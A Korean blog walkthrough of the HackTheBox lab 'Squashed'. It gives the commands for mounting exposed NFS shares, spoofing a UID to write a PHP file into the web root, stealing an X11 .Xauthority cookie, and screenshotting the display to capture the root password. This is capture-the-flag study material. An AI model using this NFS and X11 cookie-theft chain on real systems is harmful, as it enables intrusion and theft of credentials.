간단하게 포트스캔 진행. 80, 22 는 항상 열려있고, rpc 의 nfs 가 열려있음을 확인.
실제로 nfs 서비스가 2049 포트에서 동작중임을 확인할 수 있음. 또한 showmount 로 로컬에 마운트할 수 있는 목록이 뜸. 즉, 원격지서버의 ross 유저의 홈디렉터리와 웹루트디렉터리가 공유디렉터리로 사용되고있다는 것임.
$rpcinfo -p 10.10.11.191 | grep -i nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100003 3 udp 2049 nfs
$showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
공유디렉터리로 사용되고있는 ross 디렉터리를 로컬에 마운트하고 마운트한 디렉터리를 확인해보면 ross 유저의 홈디렉터리가 출력된다. 여기서 권한 상승에 사용할 수 있는 .Xauthority 파일이 나오게된다.
$mkdir nfs2
$mount -t nfs 10.10.11.191:/home/ross /home/revi1337/hackthebox/labs/linux/easy/squashed/nfs2
$ls -al nfs2
$tree -f
$cp ./Documents/Passwords.kdbx ..
또한, 홈디렉터리의 구조를 살펴보면 keepass db 도 한개 나오게된다. keypass 는 비밀번호를 편하게 관리할수있는 유틸리티라고 한다. 이 passwords.kdbx 파일을 로컬로 옮겨서 keepass cli 로 열어보면마스터키가 필요하다고 나온다.
스샷으로 담지 못했지만, keepass2john 이 오류가나서 john 을 돌려볼수도 없었다.
$kpcli --kdb Passwords.kdbx
볼게 딱히 없어 또다른 공유디렉터리인 웹루트 디렉터리를 마운트해서 확인해보면 권한 오류가 뜬다.
$mkdir nfs
$mount -t nfs 10.10.11.191:/var/www/html /home/revi1337/hackthebox/labs/linux/easy/squashed/nfs
$ls -al nfs
nfs 설정따라 다르지만, 이 가상환경의 설정은 어떤 Client 가 해당 NFS 서버의 공유디렉터리를 마운하게되면, 그 마운트한 폴더는 NFS 의 서버를 실행한 사용자의 권한을 따르게되도록 설정되어있다. 여기서는 그 uid 가 2017 이다. 하지만, 로컬에는 uid 가 2017 인사용자가 없기때문에 오류가나는것이다.
따라서 dummy 사용자를 한개 만들어서 이 계정의 uid 에 2017 을 주게되면 마운트한 디렉터리에 접근할 수 있다.
$sudo useradd dummy
$sudo passwd dummy
$sudo usermod -u 2017 dummy
$su dummy -c bash
현재 마운트한 디렉터리는 웹루트디렉터이기때문에, 파일을 업로드시켜서 브라우저에서 띄울수있나를 확인해볼 수 있다.
아래 과정은 phpinfo 로 현재 설정을 보는 php 코드를 연습삼아 업로드시켜본 것이고 정상적으로 업로드가되어 실행됨을 확인할 수 있다.
$echo '<?php phpinfo(); ?>' > test.php
정상적으로 업로드가된다는뜻은, 쉘을 연결시켜줄수있다는 의미이기때문에, 아래사진처럼 바로 쉘을 얻어줄수있다 + interactive shell
이제 공유디렉터리 중 하나인 ross 홈디렉터리에서 얻은 .XAuthority 파일을 이용할 수 있다.
.XAuthority 파일은 X일반적으로 GUI 가 있는 시스템이면 거의 모두 존재하며 X11 인증을 사용하면 생기는 인증파일이다. .XAuthority 파일안에는 MIT-MAGIC-COOKIE 값인 무작위 이진코드를 볼 수 있는데, 이 무작위 이진코드는 누군가의 접속요청이 들어오면 X11 이 검사하게되는 쿠키값이다.
이 파일이 소유자를 제외한 누군가에게 노출되면, 그 누군가는 소유차인척 위장하고 인증을 할 수 있게되는 취약점이 존재한다. 우리는 지금 NFS 로 인해 ross 유저의 쿠키값을 알고있음과도 같단 소리이다.
이제 ross 의 .XAuthority 파일로 alex 계정에서 ross 인척 위장하면 된다.
근데 지금, XAuthority 파일은 NFS 마운트한 로컬에있기때문에, 이것을 다시 alex 에게 전달해주어야만 한다.
2진 파일이기 때문에 깨지지않도록 base64 로 인코딩해서 보내주었다.
$cat .Xauthority | base64 > /tmp/xauth
$cd /tmp; python3 -m http.server 9002
아래 3개의 사진은 차례대로 alex 사용자의 홈디렉터리를 지정해주기 위한 과정, base64 인코딩해서 보낸 ross 의 XAuthority 매직쿠키 파일을 다시 디코딩하는 과정, 그리고 그 XAuthority 파일의 위치를 환경변수로 등록하는 과정이다.
XAuthority 파일은 기본적으로 XAuthority 파일이 위치한 계정의 환경변수로 등록되는데,
현재 alex 사용자는 홈디렉터리와 XAuthority 가 환경변수로 지정되어있지않아 위한 과정이다.
XAuthority 를 환경변수로 등록함으로서 ross 인척 위장하는 것이다.
아래과정은 쿠키를 인증받고 xwindow 화면으로 진입하는 과정이다.
$ xwininfo -root -tree -display :0
그다음 아래 과정은 스크린샷을 찍는 과정이다. 옵션의 의미는 나도 잘모른다.. hacktricks 에 나와있을뿐..
또한 찍은 스크린샷을 다시 로컬로 옮기는 과정이다.
$ xwd -root -screen -silent -display :0 > /tmp/result.xwd
$wget http://10.10.11.191:9007/result.xwd
받은 xwd 사진파일을 png 로 변환시켜준다음. eog 로확인해보면 root 의 passwd 를확인할 수 있다.
$file result.xwd
$convert result.xwd result.png
$eog result.png
이제 획득한 root 의 passwd 로 로그인하면 root을 취득 가능하다.
https://docs.oracle.com/cd/E19620-01/805-3921/security-4/index.html
https://docs.oracle.com/cd/E19620-01/805-3921/security-4/index.html
MIT-MAGIC-COOKIE-1 The MIT-MAGIC-COOKIE-1 authorization protocol was developed by the Massachusetts Institute of Technology (MIT). A magic cookie is a long, randomly generated binary password. At server startup, the magic cookie is created for the server a
docs.oracle.com
How does X11 authorization work? (MIT Magic Cookie)
I am interested in an in-depth answer explaining how exactly X11 authorization works and especially MIT Magic Cookies. I understand that what it actually does is to forbid access to everyone else e...
stackoverflow.com
https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11#keyloggin
6000 - Pentesting X11 - HackTricks
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
book.hacktricks.xyz
'HackTheBox' 카테고리의 다른 글
bagel (0) | 2023.02.25 |
---|---|
Investigation (0) | 2023.02.14 |
Soccer (0) | 2022.12.29 |
Precious (0) | 2022.12.06 |
UpDown (0) | 2022.12.02 |